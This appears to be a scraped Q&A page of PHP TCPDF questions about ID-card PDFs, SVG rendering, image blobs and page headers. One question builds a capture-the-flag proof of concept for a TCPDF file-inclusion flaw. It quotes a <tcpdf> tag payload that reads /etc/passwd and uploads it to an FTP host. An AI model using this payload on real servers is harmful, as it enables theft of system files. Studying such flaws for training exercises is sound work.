Dynamically creating a member ID card as pdf using PHP? - php

I need to code a PHP script that would let me generate a pdf file which displays a member ID card (something like a credit card used to identify oneself) at a certain resolution.
Let me explain:
I do have the basic blueprint of the card in png file format. The script needs to drop in a member's name and birthday along with a serial. So far, no problem - there are plenty of good working PHP libraries out there.
My problem is to ensure that the resulting pdf (the generated image of the card, to be precise) meets a certain resolution (preferably 300dpi), so that printing it would look right.
Any ideas?
EDIT
I solved it using the TCPDF library which lets you scale images at a certain resolution.
Get it here: http://www.tecnick.com/public/code/cp_dpage.php?aiocp_dp=tcpdf
EDIT #Don
require_once(dirname(__FILE__).'/tcpdf/config/lang/eng.php');
require_once(dirname(__FILE__).'/tcpdf/tcpdf.php');
// create new PDF document
$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT,
true, 'UTF-8', false);
// set document information
$pdf->SetCreator('SO-youth');
// remove default header/footer
$pdf->setPrintHeader(false);
$pdf->setPrintFooter(false);
// set default monospaced font
$pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);
//set margins
$pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
//set auto page breaks
$pdf->SetAutoPageBreak(TRUE, PDF_MARGIN_BOTTOM);
//set image scale factor
$pdf->setImageScale(PDF_IMAGE_SCALE_RATIO);
// set font
$pdf->SetFont('courier', '', 10);
// add a page
$pdf->AddPage();
// set JPEG quality
$pdf->setJPEGQuality(100);
$cred = <<<EOT
<p>
<b>{$userdata->first_name} {$userdata->last_name}</b><br/>
<span style="font-size: 80%;">{$userdata->geburtstag}</span>
</p>
EOT;
$id = <<<EOT
<span style="font-size: 60%;">{$userdata->club_id}</span>
EOT;
$pdf->Image(dirname(__FILE__).'/img/clubcard.jpg',
10, 10, 85.6, 53.98, null, null, null, false, 300);
$pdf->writeHTMLCell(60, 15, 50.5, 20.5, $cred);
$pdf->writeHTMLCell(50, 20, 77, 50.5, $id);
//Close and output PDF document
$pdf->Output($userdata->filename, 'F');

I would use Imagemagick for this purpose, along with Imagick to be able to access it directly from php.
You will then be able to take the original image, add some text to it, and output (or store) as pdf, with something like this:
$image = new Imagick($filename);
$draw = new ImagickDraw();
$draw->setFont($font);
$draw->setFontSize($fontSize);
$image->annotateImage($draw, $xpos, $ypos, $rotation, $text);
// Changes the dpi
$image->setImageResolution(200,200);
I can't find the correct code for outputting/storing it as pdf quickly, but that should be documented somewhere on the Imagemagick site.

Related

Embedded SVG in the PDF created using TCPDF turning grey scale

I'm using TCPDF to create a PDF file. However, some of the SVG files that I have and would like to use in this PDF turns into grey/ black in the output. If I open those SVG files in the browser or Adobe Illustrator it looks correct.
Code that I have used to create the PDF:
require_once('tcpdf_include.php');
$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
$pdf->SetCreator(PDF_CREATOR);
$pdf->setPrintHeader(false);
$pdf->setPrintFooter(false);
$pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
$pdf->SetAutoPageBreak(TRUE, PDF_MARGIN_BOTTOM);
// set some language-dependent strings (optional)
if (#file_exists(dirname(__FILE__).'/lang/eng.php')) {
require_once(dirname(__FILE__).'/lang/eng.php');
$pdf->setLanguageArray($l);
}
$pdf->SetFont('helvetica', '', 10);
$pdf->AddPage();
$pdf->ImageSVG($file='images/star.svg', $x=5, $y=5, $w='200', $h=200, $link='', $align='', $palign='', $border=0, $fitonpage=false);
$pdf->Output('example_012.pdf', 'I');
However, another SVG works absolutely fine. I have attached both the SVG file and PDF attachment.
SVG that don't work in PDF: https://www.dropbox.com/s/2kbj2200cw4hhrm/star.svg?dl=0
Output PDF:
https://www.dropbox.com/s/nn8pfpdmzx66a50/mypdf-star.pdf?dl=0
SVG that works correctly in PDF
https://www.dropbox.com/s/fsr6f763n39wflt/tux.svg?dl=0
Output PDF:
https://www.dropbox.com/s/5hs4jo3dz3knyod/mypdf-tux.pdf?dl=0
One of several SVG features that TCPDF doesn't support is setting style characteristics via class names. For example, your star SVG's fill colors won't be used because they are set with a class.
For this particular case, export from Illustrator with inline styles or presentation attributes and it should work.
[Edit: As an addendum, there are numerous ways for an SVG to break in TCPDF. In general, simpler is better. TCPDF's SVG parser is reasonably capable, but far from complete, so some breaking is expected and this is why the option to rasterize with ImageMagick is avaiable.]

PoC for TCPDF vulnerability

I am making some challenges as part of an internal CTF that we are hosting. As part of the challenges, one of the things that I was planning on giving out was File Inclusion using a vulnerability in a certain version of TCPDF.
I was trying to follow the blog here to get an understanding of the bug itself:
File inclusion through broken TCPDF
I do understand the vulnerability in a nutshell, which is, that TCPDF, by default, has access to a special tag <tcpdf /> which allows execution of available TCPDF methods along with parameters.
So for example if :
<tcpdf method="some_method" params="abcd"/>
the above is passed to the writeHTML() TCPDF would call some_method() with the params abcd.
And to be able to read files, a specific TCPDF method called addTTFFont is going to be used which takes as params the following:
$fontfile – The file to grab from the server. Any readable file can
be selected.
$fonttype – Needs to be set to TrueType for the attack to work.
$outpath – Location for the output for the file.
By injecting a ftp-location, as the 3rd param, the file will be uploaded remotely.
Please correct me if my understanding is incorrect here.
Now, here's what I do not understand from the blog above. The line that says:
By generating a tcpdf-element using the following code:
$params = TCPDF_STATIC::serializeTCPDFtagParameters(array('/etc/passwd','TrueType','',255,urldecode('ftp://user:pass#host/')));
Now what is the author trying to explain in the above line ?
Also to be able to reproduce this vulnerability, here's what I tried :
Hosted a very simple (and of course vulnerable in many ways) app on my local Aapache server and used TCPDF V 6.1.1 as this was the version immediately before 6.2.0 in which the bug was patched.
The app simply allows users to register and login. On login user gets a page as and on clicking on the link in red, a PDF file is generated for the user with his name as :
where gogo was the user name.
Now below is the code that generates the PDF (gen_pdf.php):
<?php
session_start();
require_once('tcpdf_include.php');
if (isset($_SESSION['username'])){
// Extend the TCPDF class to create custom Header and Footer
class MYPDF extends TCPDF {
//Page header
public function Header() {
// Logo
$image_file = K_PATH_IMAGES.'logo_example.jpg';
$this->Image($image_file, 10, 10, 15, '', 'JPG', '', 'T', false, 300, '', false, false, 0, false, false, false);
// Set font
$this->SetFont('helvetica', 'B', 20);
// Title to right allignment
$this->Cell(0, 15, '<< The Machine v/s Samaritan >>', 1, false, '', 0, '', 0, false, 'T', 'M');
}
}
$pdf = new MYPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
$pdf->SetCreator(PDF_CREATOR);
$pdf->SetAuthor('John Reese');
$pdf->SetTitle('The Machine Must Live');
$pdf->SetSubject('The future is inevitable. ');
$pdf->SetKeywords('The Machine, Samaritan, Mr. Reese');
// set default header data
$pdf->SetHeaderData(PDF_HEADER_LOGO, PDF_HEADER_LOGO_WIDTH, PDF_HEADER_TITLE.' 001', PDF_HEADER_STRING, array(0,64,255), array(0,64,128));
$pdf->setFooterData(array(0,64,0), array(0,64,128));
// set header and footer fonts
$pdf->setHeaderFont(Array(PDF_FONT_NAME_MAIN, '', PDF_FONT_SIZE_MAIN));
$pdf->setFooterFont(Array(PDF_FONT_NAME_DATA, '', PDF_FONT_SIZE_DATA));
// set default monospaced font
$pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);
// set margins
$pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
$pdf->SetHeaderMargin(PDF_MARGIN_HEADER);
$pdf->SetFooterMargin(PDF_MARGIN_FOOTER);
// set auto page breaks
$pdf->SetAutoPageBreak(TRUE, PDF_MARGIN_BOTTOM);
// set image scale factor
$pdf->setImageScale(PDF_IMAGE_SCALE_RATIO);
// set some language-dependent strings (optional)
if (#file_exists(dirname(__FILE__).'/lang/eng.php')) {
require_once(dirname(__FILE__).'/lang/eng.php');
$pdf->setLanguageArray($l);
}
// ---------------------------------------------------------
// set default font subsetting mode
$pdf->setFontSubsetting(true);
// Set font
// dejavusans is a UTF-8 Unicode font, if you only need to
// print standard ASCII chars, you can use core fonts like
// helvetica or times to reduce file size.
$pdf->SetFont('dejavusans', '', 14, '', true);
// set text shadow effect
$pdf->setTextShadow(array('enabled'=>true, 'depth_w'=>0.2, 'depth_h'=>0.2, 'color'=>array(196,196,196), 'opacity'=>1, 'blend_mode'=>'Normal'));
// Set some content to print
$html = <<<EOD
<div>
<h1>Welcome to Tomorrow !!<span style="color:black;"></span></h1>
<i>This Machine is growing weaker and we need to keep it safe.</i>
<p>This is the world of the <i>Samaritan</i> and it needs to be protected <i>Mr. Rees and Root will be there for your help</i>.</p>
<p>All the best for your travel ... </p>
</div>
EOD;
$pdf->AddPage('P');
$html = $html."<div><h2>".$_SESSION['username']."</h2></div>";
$pdf->writeHTML($html);
ob_end_clean();
$pdf->Output('ticket_to_the_future.pdf', 'I');
}
?>
I modified just this part of the above code :
$pdf->AddPage('P');
$html = $html."<div><h2>".$_SESSION['username']."</h2></div>";
$pdf->writeHTML($html);
ob_end_clean();
$pdf->Output('ticket_to_the_future.pdf', 'I');
to this:
$pdf->AddPage('P');
$html = "<tcpdf method=\"addTTFFont\" params=\"%5B%22CHANGELOG.TXT%22%2C%22TrueType%22%2C%22%22%2C255%2C%22%5C%2Ftmp%5C%2Ftcpdf_bug.txt%22%5D\"/>";
$pdf->writeHTML($html);
ob_end_clean();
$pdf->Output('ticket_to_the_future.pdf', 'I');
that is hardcoded the exploit payload (just to check if things are working), where CHANGELOG.TXT is a file already present in the same directory as gen_pdf.php
Output
No tcpdf_bug.txt file seems to be getting generated in \tmp.
What am I doing wrong here ? Please help me create this PoC.

Weird char in generating PDF from CKEditor

I have issue with PDF generated from CKEditor.
I have some text typed in CKEditor:
HTML source:
Next, this text is saved in DB.
My CKEditor config looks like:
Further, above text is fetched from DB in controller, and PDF file is generated using TCPDF:
public function createRegulationPDF(){
require_once('TCPDF/tcpdf.php');
// create new PDF document
$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
// set document information
$pdf->SetCreator(PDF_CREATOR);
$pdf->SetPrintHeader(false);
$pdf->SetPrintFooter(false);
// set default monospaced font
$pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);
// set image scale factor
$pdf->setImageScale(PDF_IMAGE_SCALE_RATIO);
// set font
$pdf->SetFont('freeserif', '', 10);
// add a page
$pdf->AddPage();
// GET CONTENT FROM DB
$html = $this->view->settings['reg_statement'];
// output the HTML content
$pdf->writeHTML($html, true, false, true, false, '');
....
And the final point, generated PDF:
The question is: what is this weird (the box) selected char?
And how to avoid it?

How to display image in TCPDF using BLOB value

TCPDF: How can I display the image in TCPDF using the BLOB value retrieved from MySQL Database?
From example #9 - Image():
// Example of Image from data stream ('PHP rules')
$imgdata = base64_decode('iVBORw0KGgoAAAANSUhEUgAAABwAAAASCAMAAAB/2U7WAAAABlBMVEUAAAD///+l2Z/dAAAASUlEQVR4XqWQUQoAIAxC2/0vXZDrEX4IJTRkb7lobNUStXsB0jIXIAMSsQnWlsV+wULF4Avk9fLq2r8a5HSE35Q3eO2XP1A1wQkZSgETvDtKdQAAAABJRU5ErkJggg==');
// The '#' character is used to indicate that follows an image data stream and not an image file name
$pdf->Image('#'.$imgdata);
The API documentation for Image() explains it in more detail:
$file
(string) Name of the file containing the image or a '#' character
followed by the image data string. To link an image without embedding
it on the document, set an asterisk character before the URL (i.e.:
*http://www.example.com/image.jpg).
As already answered by Álvaro González TCPDF you could pass an image blob to TCPDF::Image() but this has some major drawback:
TCPDF image caching is not working for image blobs. Therefore TCPDF consumes much more memory if you pass the same image multiple times.
If you pass an image blob TCPDF writes that one to a temporary file. But it does not check if the same image blob has already been provided. So it will write new temporary files even if you pass the same image again. This does not only cause unnecessary IO but also breaks image caching build into tcpdf.
Long story short: If you use an image multiple times do not pass an image blob to tcpdf. Save it to a temporary file and pass that one.
I have found out many php TCPDF Library users are mostly in a dilemma about from mysqli database let follow the following quick guide
get your TCPDF configuration ready, your text editor
get working
open your php file which will be use to load the pdf document generated
include the follow
establish a database connection as follows
$sql = "SELECT * FROM members WHERE id = '".$_SESSION['user']."'";
$query = $conn->query($sql); $user=(!empty($user['photo'])) ?
'images/'.$user['photo'] : 'images/profile.jpg' $user =
$query->fetch_assoc();
include all the pdf parameters to set up the pdf environment on your browser
// create new PDF document
$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT,
true, 'UTF-8', false);
// set document information $pdf->SetCreator(PDF_CREATOR);
$pdf->SetAuthor('Nicola Asuni'); $pdf->SetTitle('TCPDF Example 009');
$pdf->SetSubject('TCPDF Tutorial'); $pdf->SetKeywords('TCPDF, PDF,
example, test, guide');
// set default header data $pdf->SetHeaderData(PDF_HEADER_LOGO,
PDF_HEADER_LOGO_WIDTH, PDF_HEADER_TITLE.' 009', PDF_HEADER_STRING);
// set header and footer fonts
$pdf->setHeaderFont(Array(PDF_FONT_NAME_MAIN, '',
PDF_FONT_SIZE_MAIN)); $pdf->setFooterFont(Array(PDF_FONT_NAME_DATA,
'', PDF_FONT_SIZE_DATA));
// set default monospaced font
$pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);
// set margins $pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP,
PDF_MARGIN_RIGHT); $pdf->SetHeaderMargin(PDF_MARGIN_HEADER);
$pdf->SetFooterMargin(PDF_MARGIN_FOOTER);
// set auto page breaks $pdf->SetAutoPageBreak(TRUE,
PDF_MARGIN_BOTTOM);
// set image scale factor $pdf->setImageScale(PDF_IMAGE_SCALE_RATIO);
// set some language-dependent strings (optional) if
(#file_exists(dirname(FILE).'/lang/eng.php')) {
require_once(dirname(FILE).'/lang/eng.php');
$pdf->setLanguageArray($l); }
// -------------------------------------------------------------------
// add a page $pdf->AddPage();
// set JPEG quality $pdf->setJPEGQuality(75);
call you image parameters
$x = 165; $y = 28; $w = 50; $h = 50; // Image example with resizing
$pdf->Image('images/'.$voter['photo']."",$x, $y, $w, $h, 'JPG','');
$x means padding horizontally while $y stands for padding vertically , $w means width and $h means height respectively.
set your output
$pdf->Output('adding_from_Myqli_database.pdf', 'I');
close your php tag with
?>
hope you have learn from perhaps your problem is solved

PHP / TCPDF: Template Bug?

I have been using TCPDF for sometime. It's simple to use, outputs low size PDF and is under active development.
Following is the code for a page which should only have Hello World and a footer showing page number. However I get an additional Horizontal Line at the top of the page.It's bugging me. How do I get rid of it?
<?php
require_once('config/lang/eng.php');
require_once('tcpdf.php');
// create new PDF document
$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
// set document information
$pdf->SetCreator(PDF_CREATOR);
// set default header data
// set header and footer fonts
$pdf->setHeaderFont(Array(PDF_FONT_NAME_MAIN, '', PDF_FONT_SIZE_MAIN));
$pdf->setFooterFont(Array(PDF_FONT_NAME_DATA, '', PDF_FONT_SIZE_DATA));
// set default monospaced font
$pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);
//set margins
//$pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
//$pdf->SetHeaderMargin(PDF_MARGIN_HEADER);
$pdf->SetFooterMargin(PDF_MARGIN_FOOTER);//if i comment this out the lower line disappears
//set auto page breaks
$pdf->SetAutoPageBreak(TRUE, PDF_MARGIN_BOTTOM);
//set image scale factor
//$pdf->setImageScale(PDF_IMAGE_SCALE_RATIO);
//set some language-dependent strings
$pdf->setLanguageArray($l);
// ---------------------------------------------------------
// set font
$pdf->SetFont('helvetica', '', 10);
// add a page
$pdf->AddPage();
// define some HTML content with style
$html = <<<EOF
Hello World
EOF;
// output the HTML content
$pdf->writeHTML($html, true, false, true, false, '');
// reset pointer to the last page
$pdf->lastPage();
// ---------------------------------------------------------
//Close and output PDF document
$pdf->Output('example_061.pdf', 'I');
?>
Solution:
$pdf->SetPrintHeader(false);
$pdf->SetPrintFooter(false);
Changing or eliminating Header & Footer in TCPDF
just do this $pdf->setPrintHeader(false); and the line at the top will go away
The horizontal line is defined on the default Header().
You can either override the Header() method as on example n. 3 or disable the header as on the example n. 2.
Check the TCPDF website at http://www.tcpdf.org and consult the official forum for further information.
In case this is not solved for anyone else here and they are using FPDI to import a template, try looking at the calculated page height from FPDI and the resultant page height from TCPDF. For me they did not match, and to get rid of the black line I had to add 8 to the page height, and subtract 7 from the y-ordinate value in the useTemplate function in addition to setPrintHeader(false), like this:
$tplidx = $pdf->ImportPage($i);
$s = $pdf->getTemplateSize($tplidx);
// TCPDF STUFF, AddPage(), etc.
$pdf->useTemplate($tplidx,0,-7,$s['w'],$s['h']+8);

Categories